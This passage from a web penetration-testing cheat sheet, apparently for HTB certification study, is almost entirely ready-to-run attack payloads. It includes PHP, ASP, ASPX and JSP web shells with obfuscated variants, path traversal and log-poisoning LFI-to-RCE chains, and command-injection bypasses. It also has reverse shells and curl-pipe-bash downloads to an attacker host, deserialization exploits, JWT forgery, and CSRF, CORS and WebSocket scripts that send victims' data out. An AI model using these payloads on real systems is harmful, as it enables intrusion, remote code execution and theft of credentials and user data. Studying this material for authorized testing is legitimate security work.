shell.php. # trailing dot (Windows)
shell.php::$DATA # Windows ADS
# ASP/ASPX
shell.asp shell.aspx shell.asa shell.ashx shell.asmx shell.cer shell.soap
# JSP
shell.jsp shell.jspx shell.jsw shell.jsv shell.jspf shell.jtml
# Other interpreted
shell.pl shell.py shell.rb shell.sh shell.cgi
Magic Bytes & MIME Bypass
# Add magic bytes to bypass file type checks
# GIF + PHP
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.php.gif
printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.gif.php
# JPEG + PHP
printf '\xff\xd8\xff\xe0<?php system($_GET["cmd"]); ?>' > shell.jpg.php
# PNG + PHP
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.png.php
# MIME type manipulation in Burp
# Change: Content-Type: application/x-php
# To: Content-Type: image/jpeg
# exiftool — embed PHP in image metadata
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg.php
.htaccess Upload
# If you can upload to a writable directory with Apache:
# Upload a malicious .htaccess:
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Now any .jpg in that directory executes as PHP
# Upload shell.jpg:
echo '<?php system($_GET["cmd"]); ?>' > shell.jpg
Web Shells Reference
# PHP
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php eval($_POST['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
# PHP one-liner with output
<?php echo "<pre>".shell_exec($_GET['cmd'])."</pre>"; ?>
# Obfuscated PHP (WAF bypass)
<?php $f='sys'.'tem';$f($_GET['cmd']); ?>
<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}['c']($_GET['c']); ?>
# ASP
<% Response.Write(CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.ReadAll()) %>
# ASPX
<%@ Page Language="C#" %>
<% System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>"); %>
# JSP
<% Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", request.getParameter("cmd")};
Process proc = rt.exec(commands);
java.io.InputStream is = proc.getInputStream();
java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A");
out.print("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>"); %>
A11 — LFI /
Path Traversal / RFI
Path Traversal Payloads
# Basic
../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd # double encoded
# Filter bypass
....//....//....//etc/passwd # filter strips ../
..././..././..././etc/passwd # filter strips ../
/etc/passwd # absolute path
..%c0%af..%c0%af..%c0%afetc%c0%afpasswd # unicode
# Null byte (PHP < 5.5)
../../../etc/passwd%00
# Windows
..\..\..\windows\system32\drivers\etc\hosts
..%5c..%5c..%5cwindows%5csystem32%5cdrivers%5cetc%5chosts
%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem32%5cwin.ini
# Common files to read — Linux
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/etc/os-release
/proc/self/environ
/proc/self/cmdline
/proc/self/maps
/proc/net/tcp
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/auth.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/home/user/.bash_history
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa
/var/www/html/config.php
/var/www/html/.env
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
# Common files — Windows
C:\windows\system32\drivers\etc\hosts
C:\windows\win.ini
C:\windows\system.ini
C:\Users\Administrator\Desktop\root.txt
C:\inetpub\wwwroot\web.config
C:\windows\PHP\php.ini
LFI to RCE
# Log poisoning (Apache access log)
# 1. Poison the log via User-Agent or URL
curl -A "<?php system(\$_GET['cmd']); ?>" $URL
# 2. Include the log via LFI
curl "$URL/page.php?file=/var/log/apache2/access.log&cmd=id"
# Log poisoning via SSH
ssh '<?php system($_GET["cmd"]); ?>'@$IP # username as PHP code
# Then include /var/log/auth.log
# Log poisoning via SMTP
telnet $IP 25
EHLO
MAIL FROM: <?php system($_GET['cmd']); ?>
# Then include /var/log/mail.log
# /proc/self/environ (requires PHP-CGI or specific config)
curl -A "<?php system(\$_GET['cmd']); ?>" "$URL"
curl "$URL/page.php?file=/proc/self/environ&cmd=id"
# PHP session file poisoning
# 1. Find session parameter
# 2. Inject PHP code into session value
curl "$URL/page.php?param=<?php system(\$_GET['cmd']); ?>"
# 3. Include session file
curl "$URL/page.php?file=/var/lib/php/sessions/sess_SESSIONID&cmd=id"
# PHP wrappers
# Read file as base64
curl "$URL/page.php?file=php://filter/convert.base64-encode/resource=config.php"
echo "BASE64" | base64 -d
# Zip wrapper
# 1. Create zip with PHP file
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php
# 2. Upload zip, then include
curl "$URL/page.php?file=zip:///var/www/html/uploads/shell.zip%23shell"
# data:// wrapper (direct PHP execution)
curl "$URL/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="
# (base64 of: <?php system($_GET['cmd']); ?>)
# expect:// wrapper
curl "$URL/page.php?file=expect://id"
# phar:// wrapper
# 1. Create PHAR
php -r "\$p=new Phar('shell.phar'); \$p->startBuffering(); \$p->addFromString('shell.php','<?php
system(\$_GET[\"cmd\"]); ?>'); \$p->setStub('<?php __HALT_COMPILER(); ?>');
\$p->stopBuffering();"
# 2. Include via phar wrapper
curl "$URL/page.php?file=phar:///var/www/html/uploads/shell.phar/shell.php&cmd=id"
RFI (Remote File Inclusion)
# Only works if allow_url_include = On in php.ini
# Check: look for php.ini or phpinfo() page
# Host malicious file
python3 -m http.server 80
echo '<?php system($_GET["cmd"]); ?>' > shell.txt
# Include remotely
curl "$URL/page.php?file=http://$LHOST/shell.txt&cmd=id"
curl "$URL/page.php?file=http://$LHOST/shell.txt%00" # null byte bypass
A12 — Command
Injection
Detection Payloads
# Concatenate with OS command
; id
&& id
|| id
| id
`id`
$(id)
# Newline
%0a id
%0a%0d id
# Blind — time-based
; sleep 5
&& sleep 5
| sleep 5
$(sleep 5)
`sleep 5`
# Blind — OOB
; curl http://$LHOST/
; ping -c 1 $LHOST
; nslookup $LHOST
$(curl http://$LHOST/)
Filter Bypass
# Space bypass
${IFS} # instead of space
$IFS # same
{id} # braces
id<>/dev/null # redirect
# Using brace expansion
{cat,/etc/passwd}
# $() variable
a=$(id);echo$IFS$a
# Slash bypass
${HOME:0:1} # / (first char of /root)
echo${IFS}${HOME:0:1}etc${HOME:0:1}passwd | xargs cat
# Quote bypass
c'a't /etc/passwd
c"a"t /etc/passwd
# Wildcard
cat /etc/pass*
cat /etc/passwd → cat /et?/pas?wd
# Encoding bypass
echo 'cat /etc/passwd' | base64
$(echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d)
# Blacklist bypass
l''s /etc/passwd # single quotes in command
c\at /etc/passwd # escaped char
Reverse Shell via Command Injection
# Bash
;bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
# URL encoded (for web parameters)
;bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/$LHOST/$LPORT%200>%261'
# Python
;python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$LHOST",$LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import
pty;pty.spawn("/bin/bash")'
# Curl to pipe
;curl http://$LHOST/shell.sh | bash
;wget -qO- http://$LHOST/shell.sh | bash
A13 —
Insecure Deserialization
PHP Deserialization
# Detect: look for serialized data in cookies/params
# O:8:"UserData":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{s:4:"user";s:5:"admin";s:6:"loggedin";b:1;}
# PHP POP chain tools
# phpggc — PHP generic gadget chains
phpggc -l # list available gadgets
phpggc Laravel/RCE1 system 'id'
phpggc Symfony/RCE4 system 'id'
phpggc Laravel/RCE1 system 'id' -b # base64
phpggc Laravel/RCE1 system 'id' -u # URL encode
phpggc -s Monolog/RCE1 system 'id' # serialize
# Check /vendor/composer/installed.json for frameworks/libraries
# Manual PHP object injection
# Identify class name, find __wakeup() or __destruct() methods
# Craft serialized object with malicious property values
# Example — simple property manipulation
# Original: O:4:"User":1:{s:4:"role";s:4:"user";}
# Modified: O:4:"User":1:{s:4:"role";s:5:"admin";}
Java Deserialization
# Detect: base64 blob starting with rO0AB or raw bytes \xac\xed
echo "rO0ABX..." | base64 -d | xxd | head # look for ac ed 00 05
# ysoserial — Java gadget chains
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
java -jar ysoserial.jar CommonsCollections6 'id' > payload.bin
java -jar ysoserial.jar URLDNS "http://$LHOST/" > payload.bin # blind detection
java -jar ysoserial.jar Spring1 'id' > payload.bin
# Available gadgets (depends on libraries on target):
# CommonsCollections1-7, Spring1-2, Groovy1, Jdk7u21, URLDNS, JRMPClient
# Send payload in cookie / parameter
# If cookie: base64 encode the binary payload
base64 -w 0 payload.bin
# Reverse shell payload
java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,BASE64_REVSHELL}|{base64,-d}|bash' > payload.bin
Python Pickle
# Detect: look for cookie/param starting with gASV... or
\x80\x04\x95
import pickle, base64
class Exploit(object):
def __reduce__(self):
import os
return (os.system, ('bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"',))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
# Send payload as pickle data
Node.js Deserialization
// node-serialize package vulnerability
// Detect: JSON with IIFE patterns
{"rce":"_$$ND_FUNC$$_function(){return require('child_process').exec('id')}()"}
// Reverse shell
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('bash -c \"bash -i >&
/dev/tcp/$LHOST/$LPORT 0>&1\"')}()"}
.NET Deserialization
# Tools
# ysoserial.net (Windows)
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "whoami" -o base64
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "whoami" -o base64
# Detect ViewState tampering — if __VIEWSTATE not HMAC protected
# BurpSuite extension: ViewState Editor
A14 — JWT
Attacks
JWT Structure
HEADER.PAYLOAD.SIGNATURE
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SIGNATURE
JWT Attacks
# Decode JWT (no verification)
echo "PAYLOAD_B64" | base64 -d
# Or: jwt_tool token.txt
# Tool: jwt_tool
pip3 install jwt_tool
jwt_tool eyJ... # decode
jwt_tool eyJ... -T # tamper mode
jwt_tool eyJ... -X a # algorithm confusion attack
jwt_tool eyJ... -X n # none algorithm attack
# Attack 1: Algorithm = None (remove signature)
# Change "alg":"HS256" to "alg":"none"
# Remove the signature part (keep trailing dot)
# HEADER: {"alg":"none","typ":"JWT"}
# Payload: {"user":"admin","role":"admin"}
# Token: base64(header).base64(payload). ← empty signature
python3 - << 'EOF'
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).rstrip(b'=').decode()
payload = base64.b64encode(json.dumps({"user":"admin","role":"admin"}).encode()).rstrip(b'=').decode()
print(f"{header}.{payload}.")
EOF
# Attack 2: Weak secret brute force
hashcat -a 0 -m 16500 "eyJ..." /usr/share/wordlists/rockyou.txt
jwt_tool eyJ... -C -d /usr/share/wordlists/rockyou.txt
# Attack 3: RS256 → HS256 confusion
# If server uses RS256 (asymmetric), get the PUBLIC key
# Change alg to HS256, sign with public key (HMAC with public key as secret)
jwt_tool eyJ... -X k -pk public.pem
# Attack 4: JWK injection (embed your own key)
# Generate RSA key, embed public key in JWT header as JWK
jwt_tool eyJ... -X i
# Attack 5: JKU header injection (point to your own JWKS)
# Host a JWKS JSON on your server
jwt_tool eyJ... -X s -ju "http://$LHOST/jwks.json"
# Attack 6: KID header injection
# Kid parameter used in file path → LFI
# "kid": "../../../dev/null" → sign with empty string
# "kid": "../../etc/passwd" → sign with passwd content
# Attack 7: Payload claim manipulation
# Change: "role":"user" → "role":"admin"
# Change: "sub":"user1" → "sub":"admin"
# Change: "is_admin":false → "is_admin":true
JWT Forge with Known Secret
import jwt
secret = "secret123"
payload = {"user": "admin", "role": "admin"}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
A15 — OAuth & OIDC
Attacks
# OAuth flow:
# 1. Client requests authorization → redirect to auth server with client_id, redirect_uri,
scope, state
# 2. User grants access → auth server redirects to redirect_uri with code
# 3. Client exchanges code for token via POST
# Attack 1: redirect_uri manipulation (steal auth code)
# If redirect_uri validation is weak:
/callback?redirect_uri=https://attacker.com/callback
/callback?redirect_uri=https://legitimate.com/../../../attacker.com
/callback?redirect_uri=https://legitimate.com.attacker.com
# Attack 2: state parameter missing → CSRF
# If no state, craft auth URL → victim clicks → you get their token
# Attack 3: Authorization code interception
# If code delivered via Referer header (page has external content)
# Or if redirect goes to HTTP (code in URL → logged)
# Attack 4: openid scope → profile takeover
# Request: scope=openid%20profile%20email
# Sub claim manipulation — if sub not properly validated
# Attack 5: token leakage via Referer
# If access token in URL and page has external resources
# Attack 6: client_secret exposure
# Check JS files, mobile apps, GitHub for client_secret
grep -r "client_secret" *.js
# Attack 7: implicit flow token theft (fragment hash)
# Inject code to steal access_token from URL fragment
<script>document.location='http://$LHOST/?tok='+location.hash.slice(1)</script>
A16 — CSRF
Detection
# Check if CSRF token:
# 1. Is present in form
# 2. Is validated server-side
# 3. Is tied to user session
# 4. Is unpredictable
# Test:
# 1. Copy legitimate request with CSRF token
# 2. Remove CSRF token → does request succeed?
# 3. Submit invalid CSRF token → does it fail?
# 4. Submit other user's CSRF token → does it fail?
CSRF PoC
<!-- GET-based CSRF -->
<img src="https://target.htb/account/delete?confirm=1">
<script>window.location='https://target.htb/account/promote?user=attacker&role=admin'</script>
<!-- POST-based CSRF (auto-submit form) -->
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.htb/account/change-email">
<input type="hidden" name="email" value="attacker@attacker.com">
</form>
</body>
</html>
<!-- JSON CSRF (if no Content-Type check) -->
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.htb/api/update" enctype="text/plain">
<input name='{"email":"attacker@attacker.com","ignore":"' value='"}'>
</form>
</body>
</html>
<!-- Fetch-based (same origin or CORS misconfigured) -->
<script>
fetch('https://target.htb/api/update', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@attacker.com'})
});
</script>
CSRF Token Bypass
# Remove token entirely
# Replace with empty string
# Use another user's valid token (if tokens not tied to session)
# Predict token (if it's timestamp-based or sequential)
# CSRF via XSS — extract token from page, include in request
# SameSite=None cookies without Secure flag — send cross-site
A17 — WebSockets
Attacks
# Intercept in Burp: Proxy → WebSockets History
# Replay WebSocket messages in Burp Repeater
# Manipulation payloads in message body:
{"action":"get_user","id":1} # IDOR
{"action":"get_user","id":1,"admin":true} # privilege escalation
{"message":"<script>alert(1)</script>"} # XSS via WebSocket
{"query":"SELECT * FROM users"} # SQLi via WebSocket
# CSWSH — Cross-Site WebSocket Hijacking
# If no CSRF token on WebSocket handshake AND cookies are not SameSite:
<script>
var ws = new WebSocket('wss://target.htb/ws');
ws.onmessage = function(event) {
fetch('http://$LHOST/?data='+btoa(event.data));
};
ws.onopen = function() {
ws.send(JSON.stringify({"action":"get_profile"}));
};
</script>
A18 — GraphQL
Attacks
# Detect GraphQL endpoint
/graphql /api/graphql /v1/graphql /gql /query /api
# Introspection — dump entire schema
curl -X POST $URL/graphql -H "Content-Type: application/json" \
-d '{"query":"{__schema{types{name,fields{name,type{name,kind}}}}}"}'
# Full introspection query
curl -X POST $URL/graphql -H "Content-Type: application/json" -d '
{"query":"{ __schema { queryType { name } mutationType { name } types { ...FullType } directives { name
description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description
fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated
deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true)
{ name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on
__InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType
{ kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } }
} } } }"}'
# GraphQL voyager — visualize schema
# Paste introspection result at: https://ivangoncharov.github.io/graphql-voyager/
# Query examples
# Get all users
curl -X POST $URL/graphql -H "Content-Type: application/json" -d '{"query":"{ users { id username email password
} }"}'
# Mutation — change password
curl -X POST $URL/graphql -H "Content-Type: application/json" -d '{"query":"mutation { updatePassword(userId: 1,
newPassword: \"hacked\") }"}'
# GraphQL IDOR
curl -X POST $URL/graphql -H "Content-Type: application/json" -d '{"query":"{ user(id: 1) { id username email }
}"}'
# Batching attack (brute force OTP)
[{"query":"mutation { verifyOTP(code: \"0000\") }"},{"query":"mutation { verifyOTP(code: \"0001\") }"},...]
# SQLi in GraphQL arguments
{"query":"{ users(filter: \"1' OR '1'='1\") { username password } }"}
# Disable introspection bypass
# If introspection blocked, try:
{"query":"{__schema{queryType{name}}}"} # minimal introspection
# Or field suggestions (typo a field name, see suggestions in error)
# Tools
python3 graphw00f.py -d -t $URL # detect & fingerprint
clairvoyance -u $URL/graphql -o schema.json # blind introspection
A19 — API
Security Testing
# Enumerate API versions
/api/v1/ /api/v2/ /api/v3/ /api/beta/ /api/dev/
# Common API endpoints
/api/users /api/users/1 /api/profile /api/admin
/api/auth/login /api/auth/register /api/auth/token
/api/password/reset /api/keys /api/config
# HTTP method testing on each endpoint
curl -X GET $URL/api/users/1
curl -X POST $URL/api/users/1 -d '{}' -H "Content-Type: application/json"
curl -X PUT $URL/api/users/1 -d '{"role":"admin"}' -H "Content-Type: application/json"
curl -X DELETE $URL/api/users/1
curl -X PATCH $URL/api/users/1 -d '{"role":"admin"}' -H "Content-Type: application/json"
# Mass assignment
curl -X PUT $URL/api/users/profile \
-H "Content-Type: application/json" \
-d '{"username":"attacker","email":"x@x.com","isAdmin":true,"role":"admin","credits":9999}'
# Excessive data exposure — check if response contains more than expected
curl $URL/api/users/1 | python3 -m json.tool # pretty print, look for hidden fields
# API key in headers
X-API-Key: secretkey
Authorization: Bearer token
X-Auth-Token: token
# Rate limiting bypass
X-Forwarded-For: 127.0.0.1 # spoof IP
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
# Change IP each request for brute force
# BOLA (Broken Object Level Authorization) = IDOR for APIs
GET /api/invoices/1337 → try /api/invoices/1
# BFLA (Broken Function Level Authorization)
GET /api/users → 403
POST /api/admin/users → try without admin cookie
DELETE /api/users/1 → try as user
A20 — Race
Conditions
# Scenarios:
# - Double spending (buy item twice with one payment)
# - Account balance manipulation
# - Coupon/discount code reuse
# - Password reset token reuse
# - Limited quantity bypass (only 1 left, buy 10)
# Turbo Intruder (Burp extension) — send requests simultaneously
# Script: send all at once using HTTP/2 single-packet attack
# Python threading approach
python3 - << 'EOF'
import requests, threading
def race_request():
r = requests.post('http://target.htb/redeem',
json={"coupon": "DISCOUNT50"},
cookies={"session": "your_session"})
print(r.status_code, r.text[:100])
threads = [threading.Thread(target=race_request) for _ in range(30)]
[t.start() for t in threads]
[t.join() for t in threads]
EOF
# Ffuf parallel requests
ffuf -u $URL/redeem -X POST -d 'coupon=SALE50' -H "Cookie: session=X" -w <(python3 -c "print('x\n'*30)") -t
30
# Race condition in file operations
# If app: check → use (TOCTOU)
# Create symlink between check and use:
while true; do
ln -sf /etc/passwd /tmp/racefile
ln -sf /tmp/legit /tmp/racefile
done
A21 — HTTP
Request Smuggling
# Tools
python3 smuggler.py -u $URL # detect & exploit
# Or use Burp Suite → HTTP Request Smuggler extension
# CL.TE (Content-Length frontend, Transfer-Encoding backend)
POST / HTTP/1.1
Host: target.htb
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
# TE.CL (Transfer-Encoding frontend, Content-Length backend)
POST / HTTP/1.1
Host: target.htb
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
# Bypass front-end access controls
POST /admin HTTP/1.1 ← blocked
# Smuggle admin request:
POST / HTTP/1.1
Content-Length: 116
Transfer-Encoding: chunked
0
POST /admin/deleteUser HTTP/1.1
Host: localhost
Content-Length: 20
username=administrator
# Capture other users' requests via request smuggling
POST / HTTP/1.1
...
0
GET / HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: target.htb
Cookie: session=
Content-Length: 900
Content-Type: application/x-www-form-urlencoded
# Next victim's request gets appended here → you see their cookies
A22 — CORS
Misconfigurations
# Test CORS
curl -H "Origin: https://attacker.com" $URL/api/user -v | grep -i "access-control"
# If response: Access-Control-Allow-Origin: https://attacker.com
# And: Access-Control-Allow-Credentials: true
# → Vulnerable!
# Checks:
# 1. Origin: https://attacker.com → reflected? → vulnerable
# 2. Origin: null → allowed? → exploit via sandboxed iframe
# 3. Origin: https://legitimate.target.com.attacker.com → allowed? → subdomain bypass
# Exploit — steal data from authenticated API
<script>
fetch('https://target.htb/api/userdata', {credentials: 'include'})
.then(r => r.json())
.then(data => {
fetch('http://$LHOST/?data=' + btoa(JSON.stringify(data)));
});
</script>
# Host on your server, trick victim to visit
A23 — Prototype
Pollution
# JavaScript/Node.js vulnerability
# Pollute Object.prototype → affect all objects
# Detection
# In JSON params, try:
{"__proto__":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}
# URL params
?__proto__[polluted]=yes
?constructor[prototype][polluted]=yes
# Exploitation — RCE via server-side prototype pollution
# In express apps using lodash.merge/defaults:
{"__proto__":{"shell":"node","NODE_OPTIONS":"--inspect=localhost:1337"}}
# child_process.execSync / exec via prototype pollution
{"__proto__":{"env":{"NODE_OPTIONS":"--require /proc/self/cwd/shell.js"},"shell":"bash"}}
# Tool: ppmap
node ppmap.js --target $URL
# Client-side → XSS
# Pollute innerHTML or similar sink property
{"__proto__":{"innerHTML":"<img src=x onerror=alert(1)>"}}
A24 — LDAP
Injection
# See also A04 section, fuller coverage here:
# Authentication bypass
user=admin)(&)&pass=anything
user=*)(&)&pass=*)
user=*)(cn=*))(|(cn=*&pass=x
# Filter bypass payloads
admin)(|(password=*)
*)(objectclass=*))(|(objectclass=*
# Data enumeration (blind — response changes)
# Does user admin exist?
user=admin)(uid=admin))%00&pass=x
# Does any user with password starting with 'a' exist?
user=*)(userPassword=a*))(|(uid=*&pass=x
# Automated
python3 ldap_injection.py -u $URL -p "user=INJECT&pass=test" --true="Welcome" --false="Invalid"
A25 — Web Cache
Poisoning
# Unkeyed headers — headers that affect response but not cache key
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: https
X-Forwarded-Proto: https
X-Host: attacker.com
X-Forwarded-Server: attacker.com
X-Forwarded-For: 127.0.0.1
# Test for cache poisoning
# 1. Send request with unkeyed header pointing to your server
curl -H "X-Forwarded-Host: $LHOST" $URL/ -v
# 2. Check if response reflects the header
# 3. If reflected AND response is cached → poison!
# Cache poisoning → XSS
# If app uses X-Forwarded-Host to build URLs in page:
curl -H "X-Forwarded-Host: $LHOST/xss" $URL/
# If response: <script src="http://$LHOST/xss/app.js"> → cache and serve malicious
JS
# Cache key bypass
# Add junk param that's stripped before cache: ?cb=1234
# Add null byte: ?%00=x
# Add param with different case
# Burp Param Miner → find unkeyed params
# Right-click request → Extensions → Param Miner → Guess params
# DoS via cache poisoning (poison error page)
curl -H "X-Forwarded-Host: nonexistent" $URL/ # triggers 500
# If cached → everyone sees error
Post-Exploitation — Web Shell & Pivot
Web Shell Usage
# Query your webshell
curl "http://target.htb/shell.php?cmd=id"
curl "http://target.htb/shell.php?cmd=whoami"
curl "http://target.htb/shell.php?cmd=cat+/etc/passwd"
# Upgrade to reverse shell from webshell
curl "http://target.htb/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261'"
# URL encoded:
curl "http://target.htb/shell.php?cmd=$(python3 -c "import urllib.parse; print(urllib.parse.quote(\"bash -c
'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'\"))")"
# POST-based webshell
curl -X POST "http://target.htb/shell.php" -d "cmd=id"
Shell Stabilization
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 cols 200
Source Code Review After Access
# Find config/cred files
find /var/www -name "*.php" -exec grep -l "password\|db_pass\|DB_PASSWORD" {} \;
find /var/www -name ".env" 2>/dev/null
find /var/www -name "config.php" -o -name "settings.py" -o -name "database.yml" 2>/dev/null
# Database credentials → escalate
mysql -u dbuser -p'dbpass' -e "SELECT user,password FROM mysql.user;"
mysql -u dbuser -p'dbpass' -D app -e "SELECT * FROM users;"
Tools Quick
Reference
Scanning & Enumeration
# Nikto
nikto -h $URL -o nikto.txt
nikto -h $URL -ssl -port 443
# WPScan (WordPress)
wpscan --url $URL --enumerate vp,vt,u
wpscan --url $URL -e u --passwords /usr/share/wordlists/rockyou.txt
# CMSeeK (multi-CMS)
python3 cmseek.py -u $URL
# Nuclei (template-based scanner)
nuclei -u $URL
nuclei -u $URL -t cves/
nuclei -u $URL -t vulnerabilities/
# SQLMap
sqlmap -r request.txt --level=5 --risk=3 --dbs
# DirSearch
dirsearch -u $URL -e php,html,txt,bak -t 50
# Gobuster
gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x php,txt,html -t
50
# ffuf
ffuf -u $URL/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100 -mc
200,301,302,403
Exploitation Tools
# Burp Suite Pro (primary tool)
# sqlmap, tplmap, dalfox, xsstrike
# jwt_tool, phpggc, ysoserial, padbuster
# hydra, ffuf (brute force)
# Commix (command injection)
# Commix — automated command injection
commix --url="$URL/page.php?arg=test"
commix --url="$URL/page.php" --data="arg=test"
commix --url="$URL/page.php?arg=test" --os-cmd="id"
commix --url="$URL/page.php?arg=test" --os-shell
Key Wordlists
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
/usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
/usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
/usr/share/seclists/Fuzzing/XSS/XSS-Bypass-Strings-BruteLogic.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/rockyou.txt
Key References
OWASP Top 10: https://owasp.org/Top10/
PortSwigger Web Labs: https://portswigger.net/web-security
HackTricks Web: https://book.hacktricks.xyz/pentesting-web
PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings
SecLists: https://github.com/danielmiessler/SecLists
XSS Cheat Sheet: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
SQL Injection Cheat: https://portswigger.net/web-security/sql-injection/cheat-sheet
SSTI Payloads:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
Revshells Generator: https://www.revshells.com
GTFObins: https://gtfobins.github.io
LOLBAS: https://lolbas-project.github.io
🔒 Built for HTB CWES/CWEE by J0stif | Web Penetration Testing Full Methodology Use responsibly on authorized systems only.